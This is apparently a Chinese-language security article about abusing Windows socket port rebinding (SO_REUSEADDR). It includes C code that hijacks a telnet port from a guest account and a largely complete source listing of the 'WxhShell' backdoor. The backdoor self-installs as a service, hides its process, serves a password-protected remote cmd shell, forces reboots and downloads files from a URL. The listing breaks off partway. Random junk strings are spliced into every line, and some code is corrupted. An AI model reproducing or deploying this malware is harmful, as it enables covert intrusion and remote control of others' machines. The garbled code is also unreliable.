在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
NZ&ZK@h}. s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
@"A
5yD5 WT")tjVKA saddr.sin_family = AF_INET;
_|cSXZ| 4o;;'P saddr.sin_addr.s_addr = htonl(INADDR_ANY);
k;`1Ia jkta]#O bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
6<>1,wbq }{j@q~w>$ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Mis B&Ok`k r@]`#PL 这意味着什么?意味着可以进行如下的攻击:
,x!r^YO= DpeJx 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
rXT? w]4 db8vm4 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
^Y;,cLXJ 1gcWw, / 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
::'Y07 ~piE$"]& 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
!bCL/[ =nc;~u|] 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
M!mw6';k X%znNx 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
4lpcJ+:o s! 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
&A.0(s lMh>eX #include
wIR"!C>LE #include
reArXmU<u #include
!iNwJ|0 #include
~av#r=x DWORD WINAPI ClientThread(LPVOID lpParam);
jO5R ~O` int main()
!OQ5AF$
{
4)k-gKS* WORD wVersionRequested;
q5hE S DWORD ret;
mSYm18
WSADATA wsaData;
?Js4\X!uJ BOOL val;
gq 3|vzNZ SOCKADDR_IN saddr;
G4~@ SOCKADDR_IN scaddr;
[>pBz3fn, int err;
lF.kAEC SOCKET s;
@Lf&[_ SOCKET sc;
>`a^E1) int caddsize;
Vp~ cN HANDLE mt;
6|
o S 5 DWORD tid;
@RszPH1B wVersionRequested = MAKEWORD( 2, 2 );
H25Qx;(dTk err = WSAStartup( wVersionRequested, &wsaData );
CueC![pj if ( err != 0 ) {
gp{C89gP printf("error!WSAStartup failed!\n");
SiaW; ks return -1;
<-b9
)> }
.K(9=yh saddr.sin_family = AF_INET;
vY|YqWt yEbo`/ ]b //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
%HtgZeY Z|N$qm} saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
~$C<^?"b saddr.sin_port = htons(23);
Gos#=H if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Y@#N_]oXj {
AkW>*x printf("error!socket failed!\n");
BY[7`@ return -1;
WjK[% ;Z! }
ok:L]8UN3 val = TRUE;
B0)|sH //SO_REUSEADDR选项就是可以实现端口重绑定的
3 )#Nc| if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
#}@8(>T {
Ee7+ob printf("error!setsockopt failed!\n");
L[D+= return -1;
0L8fpGJ }
k+?gWZ\ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
6)?u8K5%r //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
7%? bl //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
5Rs#{9YE Z'2AsT if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
$57Q
g1v {
-ZSN0Xk ret=GetLastError();
/FC
HF#yK printf("error!bind failed!\n");
~CV.Ci.dG return -1;
:;+_<pk }
.81Y/Gad_ listen(s,2);
F<6(Hw#> while(1)
}v|_]
{
\<`oW> caddsize = sizeof(scaddr);
XR7v\rd //接受连接请求
0&I*)Zt9x sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
z_R^C%0k if(sc!=INVALID_SOCKET)
/@1YlxKF {
[:gg3Qzx mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
{5X,xdzR if(mt==NULL)
siCm)B {
$H)!h^7^9 printf("Thread Creat Failed!\n");
)$i,e`T
break;
b-#{O=B }
uF}dEDB|; }
S ;rd0+J CloseHandle(mt);
%~M* <pN }
;ZAwf0~ closesocket(s);
DW9MX`!Xc WSACleanup();
,vf#e=Z return 0;
'm6bfS^T }
zT6nC5E DWORD WINAPI ClientThread(LPVOID lpParam)
C,eP!_O {
nr
-< mQ SOCKET ss = (SOCKET)lpParam;
!DSm[Z1 SOCKET sc;
S#8)N` unsigned char buf[4096];
TB.>?*<n] SOCKADDR_IN saddr;
- QY<o| long num;
'SlZ-SdR DWORD val;
=<Sn&uL DWORD ret;
zz(|V //如果是隐藏端口应用的话,可以在此处加一些判断
RnRUJNlaG //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
ak|
VnNa] saddr.sin_family = AF_INET;
K/N{F\ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
=:w,wI. saddr.sin_port = htons(23);
U_PH#e if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
i6n,N)%H {
F09%f"9 printf("error!socket failed!\n");
"h[)5V{ return -1;
fvH{va. }
R59iuHQ[ val = 100;
fw,,cu`YA if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
m{RXt {
nM.g8d K ret = GetLastError();
[Z:P{yr return -1;
yc3/5]E& }
)}N:t:rry if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
vw3[(_MV3_ {
[fT$# '6 ret = GetLastError();
N1c0>{ return -1;
GfK%UZ$C }
~>9G\/u j if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
!\1)?&y9j {
jR[c3EA
; printf("error!socket connect failed!\n");
&a=rJvnIO& closesocket(sc);
25vjn 1$sW closesocket(ss);
(T pnJq return -1;
v .C }
"PRHQW while(1)
8M,o)oH {
<2 [vR|Q* //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
obF|;fwPnR //如果是嗅探内容的话,可以再此处进行内容分析和记录
A~nqSe //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
sPW:[ num = recv(ss,buf,4096,0);
ey[Z<i1 if(num>0)
>M{98NH send(sc,buf,num,0);
l#^?sbG else if(num==0)
%regt{ break;
`~=z0I num = recv(sc,buf,4096,0);
w{[^ if(num>0)
NnHaHX send(ss,buf,num,0);
}1k?t h else if(num==0)
*Us}E7/"' break;
3$YbEl@# }
0<@['W}G closesocket(ss);
,T
zlW\?\ closesocket(sc);
I|&DXF return 0 ;
`!I/6d?A }
)=K8mt0qob U@yhFj_y ~%h
)G#N ==========================================================
VvP: }yJ A. tGr(r 下边附上一个代码,,WXhSHELL
}ixCbuD q#c+%,Z=C ==========================================================
U&R)a|
7R ,ps?@lD #include "stdafx.h"
OZf@cOTWK ai?J #include <stdio.h>
9RJ#zUK #include <string.h>
oVHe<zE. #include <windows.h>
u
e #include <winsock2.h>
P#!gP3 #include <winsvc.h>
C|Gk} #include <urlmon.h>
VV$#<D<) j?o6>j #pragma comment (lib, "Ws2_32.lib")
qvy*;
<w #pragma comment (lib, "urlmon.lib")
RiR],Sj "DvZCf[} #define MAX_USER 100 // 最大客户端连接数
K7JZUS`C! #define BUF_SOCK 200 // sock buffer
v07A3oj #define KEY_BUFF 255 // 输入 buffer
%2I>-0]B G?,3Zn0 #define REBOOT 0 // 重启
%Ul,9qG+ #define SHUTDOWN 1 // 关机
.J @mpJdY )_j(NX-C: #define DEF_PORT 5000 // 监听端口
7z3tDE[# !'#
D~ #define REG_LEN 16 // 注册表键长度
_qf~
hhi #define SVC_LEN 80 // NT服务名长度
`0U\|I# N3#^Ifn[ // 从dll定义API
L58H)V3Pn typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
5p~5-_JX typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
d]|K%<+( typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
G/3T0d+- typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
/]J\/Z> zTMLE~w // wxhshell配置信息
T&6>Eb0{ struct WSCFG {
yLCMu | + int ws_port; // 监听端口
X0j> g^b8 char ws_passstr[REG_LEN]; // 口令
Z~94<*LEp int ws_autoins; // 安装标记, 1=yes 0=no
fHZ9wK> char ws_regname[REG_LEN]; // 注册表键名
i qxMTH#! char ws_svcname[REG_LEN]; // 服务名
xa]yq% char ws_svcdisp[SVC_LEN]; // 服务显示名
yId1J char ws_svcdesc[SVC_LEN]; // 服务描述信息
_fn7-&6 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
PeiRe int ws_downexe; // 下载执行标记, 1=yes 0=no
*mj=kJ7(
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
5-fASN.Lx char ws_filenam[SVC_LEN]; // 下载后保存的文件名
YGQ/zB^Pj PY '^:0 };
<uFj5. g^|R;s{ // default Wxhshell configuration
(m Yi struct WSCFG wscfg={DEF_PORT,
*rxYal4ad "xuhuanlingzhe",
g.62XZF@ 1,
f0^s<:* "Wxhshell",
W)f=\.7 "Wxhshell",
w]h8KNt "WxhShell Service",
n;=FD;}j+ "Wrsky Windows CmdShell Service",
B<.\^fuS "Please Input Your Password: ",
7y30TU 1,
5/U{b5 "
http://www.wrsky.com/wxhshell.exe",
[8Z#HjhQ "Wxhshell.exe"
|"Zf0G };
?ZC!E0] MK
Sw
// 消息定义模块
,{(XT7hr char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
{*8G<& char *msg_ws_prompt="\n\r? for help\n\r#>";
e#}Fm;|d char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
-\%5aXr char *msg_ws_ext="\n\rExit.";
/ s Apj char *msg_ws_end="\n\rQuit.";
\@h$|nb char *msg_ws_boot="\n\rReboot...";
fXnewPr=# char *msg_ws_poff="\n\rShutdown...";
ps` j>vX* char *msg_ws_down="\n\rSave to ";
t&x\@p9 3jW&S char *msg_ws_err="\n\rErr!";
G"(aoy,
co char *msg_ws_ok="\n\rOK!";
Hq>hnCT c]U+6JH char ExeFile[MAX_PATH];
Jh%SenP_oP int nUser = 0;
v
\;/P
HANDLE handles[MAX_USER];
7 J6Z? int OsIsNt;
F_w+8)DZ g<^A(zM SERVICE_STATUS serviceStatus;
M?('VOy) SERVICE_STATUS_HANDLE hServiceStatusHandle;
.C+(E@ey A :}#)ipr // 函数声明
iYYuZ. int Install(void);
,1CmB@ int Uninstall(void);
>tMI%r int DownloadFile(char *sURL, SOCKET wsh);
<9xr?i= int Boot(int flag);
1Lje.%(E. void HideProc(void);
t(6i4c> int GetOsVer(void);
W79.Nj2` int Wxhshell(SOCKET wsl);
qG~6YCqii void TalkWithClient(void *cs);
`?l
/HUw int CmdShell(SOCKET sock);
8n2;47 a int StartFromService(void);
_ 3>E+9TQ int StartWxhshell(LPSTR lpCmdLine);
.X.6<@$ 6M_ W( VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
:nl,Ac VOID WINAPI NTServiceHandler( DWORD fdwControl );
*+6iXMwe Zi\ex\ )5 // 数据结构和表定义
z"QtP[_m SERVICE_TABLE_ENTRY DispatchTable[] =
uxKO" {
G[u6X_Q {wscfg.ws_svcname, NTServiceMain},
tZg)VJQys {NULL, NULL}
ndN*X' };
@\oZ2sB E|RC|Sz=u // 自我安装
?0sTx6x@ int Install(void)
GCr]x ' {
ld|GY>rH char svExeFile[MAX_PATH];
X6t9*|C HKEY key;
e_!Z-#\J% strcpy(svExeFile,ExeFile);
hHDLrr !vK0|eV3 // 如果是win9x系统,修改注册表设为自启动
D(<0tU^[ if(!OsIsNt) {
W)o*$cu if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
B2LXF3#/ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
pJl/d;Cyrb RegCloseKey(key);
K(lVAKiP] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
a[rb-Z RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
o F_rC[ RegCloseKey(key);
]b1>bv% return 0;
1!U:M8T| }
wm?%&V/# }
*""W`x
}
suWO:]FR else {
fY78 <:nyRy} // 如果是NT以上系统,安装为系统服务
ld({1jpX, SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
1#AxFdm1 if (schSCManager!=0)
G8?Do+[ {
}C/+zF6q SC_HANDLE schService = CreateService
l(F\5Ys (
}|M:MJ` schSCManager,
\3K7)o^ wscfg.ws_svcname,
1BEc" wscfg.ws_svcdisp,
c3#eL SERVICE_ALL_ACCESS,
QKVOc,Fp7i SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
[wQJVYv SERVICE_AUTO_START,
;:R2 P@6f SERVICE_ERROR_NORMAL,
CZ$B2i6 svExeFile,
;0?OBUDO NULL,
o>yXEg NULL,
}1Mf0S NULL,
NN+;I^NqW& NULL,
^liW*F"UY NULL
_.]mES| );
>RJ&b if (schService!=0)
rADzJ#CU\ {
yQ<h>J> CloseServiceHandle(schService);
f4d-eXGwx` CloseServiceHandle(schSCManager);
)^6Os2 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
{;u+? uY strcat(svExeFile,wscfg.ws_svcname);
L5|g\Y` if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
r>*+d|c4 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
HmU6:8V
*Z RegCloseKey(key);
`pDTjJ return 0;
+`V<&
Y-5l }
B` +,
8 }
FK-q-PKO#. CloseServiceHandle(schSCManager);
jpW_q+^? }
FQ47j)p; }
K:AP 0Te BOy&3.h5? return 1;
fWri7|"0h }
<_=O0 t|6 c1y+kvv // 自我卸载
b<"jmB{ int Uninstall(void)
yFd942 {
vLq%k+D# HKEY key;
_T8S4s8q 9^Web~yi# if(!OsIsNt) {
OqF8KJnO; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
nr}Ols RegDeleteValue(key,wscfg.ws_regname);
*W,[k&;: RegCloseKey(key);
9~a 5R]x2
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
,D<U PtPQ RegDeleteValue(key,wscfg.ws_regname);
GM)q\Hx{ RegCloseKey(key);
7ju38@+ return 0;
jk\V2x@DR }
XsFzSm }
zA3r&stN+ }
IQ-l%x[fue else {
kFyp;=d:K ke<5]&x SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Lh.-*H if (schSCManager!=0)
15' fU! {
9!Xp+< SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
>*!^pbZfX if (schService!=0)
mU]^PC2[ {
!su773vo if(DeleteService(schService)!=0) {
:!?Fq/! CloseServiceHandle(schService);
t6\--lk_ CloseServiceHandle(schSCManager);
#mK?:O\-1 return 0;
Gui[/iY,F }
`f~$h?}3-@ CloseServiceHandle(schService);
Lz:FR* }
YH^@8
CloseServiceHandle(schSCManager);
EQ :>]O }
dIhfp7| }
F`{O 0,.|-OZ return 1;
M_r[wYt! }
K3,PmI&W
2*Pk1vrI // 从指定url下载文件
u5KAwMw%Q int DownloadFile(char *sURL, SOCKET wsh)
Iij$ce`nx {
IX<9_q HRESULT hr;
:7dc;WdM char seps[]= "/";
nvNF~)mu char *token;
+ DE/DR: char *file;
&1`Y&x:p char myURL[MAX_PATH];
H/;AlN|! char myFILE[MAX_PATH];
;<GxonIV JV'aqnb.8\ strcpy(myURL,sURL);
j*4:4B% token=strtok(myURL,seps);
Eelv i5 while(token!=NULL)
m@w469&<(q {
RQ^
\|+_ file=token;
@'?gan#( token=strtok(NULL,seps);
a69e^;,>q }
se=^K#o :h3n[% GetCurrentDirectory(MAX_PATH,myFILE);
u$(ei2f strcat(myFILE, "\\");
({!H() strcat(myFILE, file);
UA]fKi send(wsh,myFILE,strlen(myFILE),0);
=20
+(< send(wsh,"...",3,0);
ji.?bKqHE hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
lB_X mI1t if(hr==S_OK)
~82 {Y
_{/ return 0;
T3 4Z#PFwe else
zfg+gd)Z return 1;
8IBr#+0 ib!TXWq }
3#>%_@< ;vX1U8 // 系统电源模块
M}@>h int Boot(int flag)
]IeLKcn {
gMkSl8[ HANDLE hToken;
D<<q5gG TOKEN_PRIVILEGES tkp;
Wv;,@xTZ ZU+_nWnl if(OsIsNt) {
;Bzx}7A OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
7n+,!oJ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
oayu*a. tkp.PrivilegeCount = 1;
W|uRQA` tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
X-,oL.:c AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
<hTHY E= if(flag==REBOOT) {
i1m>|[@k if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
F[!%,-* return 0;
tm2lxt }
V`W '] else {
o)7Ot\:E if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
`YE=B{q return 0;
S7#dyAX8 }
j|N<6GSke }
a l6y=;\jZ else {
[C<K~ if(flag==REBOOT) {
M* Ej*# if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
"+wkruC return 0;
{&B_b|g*fW }
)|k#cT{=M else {
UwF-*(#41 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
.QwB7+V4 return 0;
kS9;Tj cx }
Fu5Y<*x }
T]zD+/= Y Q.Xl_ return 1;
uozq^sy }
7DoU7I\u |0}7/^ // win9x进程隐藏模块
WVOj;c void HideProc(void)
d!Gy#<H {
]7yxXg 3(,m(+J[S HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
tY!l}:E[ if ( hKernel != NULL )
udBIEW,` {
N}ND()bf pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
S4{vS?>j ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
.s!0S-RkC FreeLibrary(hKernel);
'-[hy>t }
Z~8%bfpe &NoA, `|7 return;
WWZ<[[ > }
(FaYagD bDJ!Fc/ // 获取操作系统版本
q1x[hv3
pP int GetOsVer(void)
~9yKMUf {
g}gGm[1SUo OSVERSIONINFO winfo;
vR2);ywX winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Dc$q0|N=z GetVersionEx(&winfo);
Pc< "qy if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
:9%e:- return 1;
c ^.^5@ else
z>,M@@ return 0;
^RT_Lky }
Y&U-d{" v{uq // 客户端句柄模块
2rf8)8': int Wxhshell(SOCKET wsl)
n8_X<jIp3 {
vc p{Gf|^ SOCKET wsh;
*i:8g( struct sockaddr_in client;
l>pB\<LL DWORD myID;
xRhGBb{@s oq!\100 while(nUser<MAX_USER)
KB :JVK^ < {
,IqE<i!U int nSize=sizeof(client);
N|2d9E wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
]BbV\# if(wsh==INVALID_SOCKET) return 1;
?QJx!'Y,p gT$WG$^i handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
FK~wr;[ if(handles[nUser]==0)
rOt{bh6r closesocket(wsh);
%7aJSuQN% else
T&>65`L nUser++;
r"h09suZBW }
Z$KyK.FUU WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
FZ+2{wIV^ W,Q>3y* return 0;
RMT9tXe*5 }
7sOAaWx F9K`N8wlu // 关闭 socket
iv6G9e{cx void CloseIt(SOCKET wsh)
,&=7ir14>R {
jy5[K. closesocket(wsh);
%H" nUser--;
5CN=a2& ExitThread(0);
C=q&S6/+ }
h'=)dFw7 { >izfG,\ // 客户端请求句柄
g_P98_2f.k void TalkWithClient(void *cs)
y'odn ; {
mhhc}dS(H 8~-TN1H SOCKET wsh=(SOCKET)cs;
|^UQVNJ char pwd[SVC_LEN];
)^s>2 1 char cmd[KEY_BUFF];
;7?oJH; char chr[1];
_rIo
@v int i,j;
z[QDJMt> &ZC{ _t while (nUser < MAX_USER) {
Ji9o0Y R $fD%18 if(wscfg.ws_passstr) {
L%5y@b{AR if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
U!o //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
f&^}yqmuE //ZeroMemory(pwd,KEY_BUFF);
3MHpP5C i=0;
p19(>|$J while(i<SVC_LEN) {
R$
+RTG:E ojf6@p_ // 设置超时
<5pNFj}0;X fd_set FdRead;
Tr:@Dv.O struct timeval TimeOut;
*v K~t|z FD_ZERO(&FdRead);
a B MV6' FD_SET(wsh,&FdRead);
S$fS|N3]% TimeOut.tv_sec=8;
jFe8s@7 TimeOut.tv_usec=0;
=UK:83R( int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
E2w-b^,5 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
)rj!/% K g#Bg## if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Aqf91
[c pwd
=chr[0]; 8WP"~Js!
if(chr[0]==0xd || chr[0]==0xa) { ^K1mh9O
pwd=0; 27c0wzq
break; wk8fa
} zNKB'hsK
i++; H.{Fw j4
} fDB.r$|d
4C_1wk('
// 如果是非法用户,关闭 socket 5!Y\STn
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Wc+(xk
} ,~Xe#eM
|&WYu,QQ4
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); O]hUOc`k
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,z#D[5
C}xfo}i
while(1) { UF5_be,D
5p!{#r6m
ZeroMemory(cmd,KEY_BUFF); NwYQ6VEA
DeF`#a0E
// 自动支持客户端 telnet标准 Mpw]dYM
j=0; WK*tXc_[b
while(j<KEY_BUFF) { ;ZI8vFb
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,#,K_oz
cmd[j]=chr[0]; ?87\_wL/j
if(chr[0]==0xa || chr[0]==0xd) { jmv=rl>E*
cmd[j]=0; J0R{|]W8
break; 8w[O%
} >@bU8}rT
j++; ,WOCG2h
} {{P 3Z[
]6`K
// 下载文件 qG
20
if(strstr(cmd,"http://")) { }#e=*8F7
send(wsh,msg_ws_down,strlen(msg_ws_down),0); _^b\#Jz4U3
if(DownloadFile(cmd,wsh)) ]O:8o<0
send(wsh,msg_ws_err,strlen(msg_ws_err),0); z-We>KX
else ]Bf1p
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y)]VlV!`
} ZR3,dW6S
else { (&Q!5{$W
y,&[OrCm^\
switch(cmd[0]) { &4WA/'>R
}15&<s
// 帮助 ~$4(|Fq/
case '?': { UYZC% $5x
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); P(8Yz W
break; vS5}OV
} }E(w@&
// 安装 (_}q>3
case 'i': { %{r3"Q=;W
if(Install()) DUu:et&c1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |-{ Hy(9
else h+H+>,N8`
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D}!YF~
break; DQ= {
} pwHe&7e#
// 卸载 4>L*7i
case 'r': { dgX%NKv1
if(Uninstall()) x{w|Hy
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ) aMiT
else {RI^zNgs[
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -;"A\2_y
break; N@<-R<s^
} ;2g.X(Ra
// 显示 wxhshell 所在路径 Il@K8?H@
case 'p': { >ZPu$=[W
char svExeFile[MAX_PATH]; [Nm?qY
strcpy(svExeFile,"\n\r"); 4x+[?fw
strcat(svExeFile,ExeFile); kkHK~(>G
send(wsh,svExeFile,strlen(svExeFile),0); [vb#W!M&|
break; &${| o@
} o?M ;f\Fy
// 重启 ;t9_*)[
case 'b': { Y}.f&rLe
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4j'rbbs/
if(Boot(REBOOT)) ^2rj);{V
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }I}GA:~$%
else { [N4N7yF
closesocket(wsh); 8o,0='U
ExitThread(0); ;DZj.|Sj+
} rf+}J_
break; S\I+UeFkf
} 4PS|
// 关机 => 'j_|
case 'd': { PEjd
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o(54 A['
if(Boot(SHUTDOWN)) p%bMfi*T
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `]GL3cIh:
else { ti1R6oSn
closesocket(wsh); m$_l{|4z
ExitThread(0); *tpS6{4=#7
} A9ld9R
break; 4<1V
} 1l^[%0
// 获取shell t6-fG/Kc
case 's': { xgNV0;g,
CmdShell(wsh); U5cbO{\3I
closesocket(wsh); jb/C\2U4)
ExitThread(0); /\Xe'&
break; 17l?li
} pg,JYn
// 退出 #H~$^L
case 'x': { j8?! J^TC
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 751Qi
CloseIt(wsh); UL~~J[1r
break; HXdo:#xEO
} /u]#dX5
// 离开 =$^}"}$
case 'q': { 8VG~n?y
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~LFM,@
closesocket(wsh); L*6<h
WSACleanup(); ^P [#YO
exit(1); +B+cN[d
break; O<>+l*bk
} dW5r]D[Cx
} 7bGt'gvv
} r0&LjH&R
(C`nBiL<
// 提示信息 %t9Kc9u3p
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^-~=U^2tC
} 2|RxowXZ"
} SZtSUt(ss
!](Mt?e
return; {~g7&+9x*
} 2.{<C.BK{
l)DcwkIG
// shell模块句柄 hlc g[Qdo*
int CmdShell(SOCKET sock) %Y|AXxR
{ ~% ]V,-4
STARTUPINFO si; u0[O /G
ZeroMemory(&si,sizeof(si)); j[$+DCO#|m
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,@N.v?p>
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ojj
T
PROCESS_INFORMATION ProcessInfo; dKchQsgCg
char cmdline[]="cmd"; q~AvxO
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); vu*{+YpH
return 0; 0&&P+adk
} drwxrZt
=''*'a-P
// 自身启动模式 Bz:Hp{7&
int StartFromService(void) d|UH AX
{ ,gkWksl9
typedef struct b-c6.aKf|
{ h"2^`
)!u
DWORD ExitStatus; JiA1yt
DWORD PebBaseAddress; \
sz ](X
DWORD AffinityMask; s1%2({wP
DWORD BasePriority; [P)](8nR[
ULONG UniqueProcessId; G[zy sxd
ULONG InheritedFromUniqueProcessId; mkBQTQGT
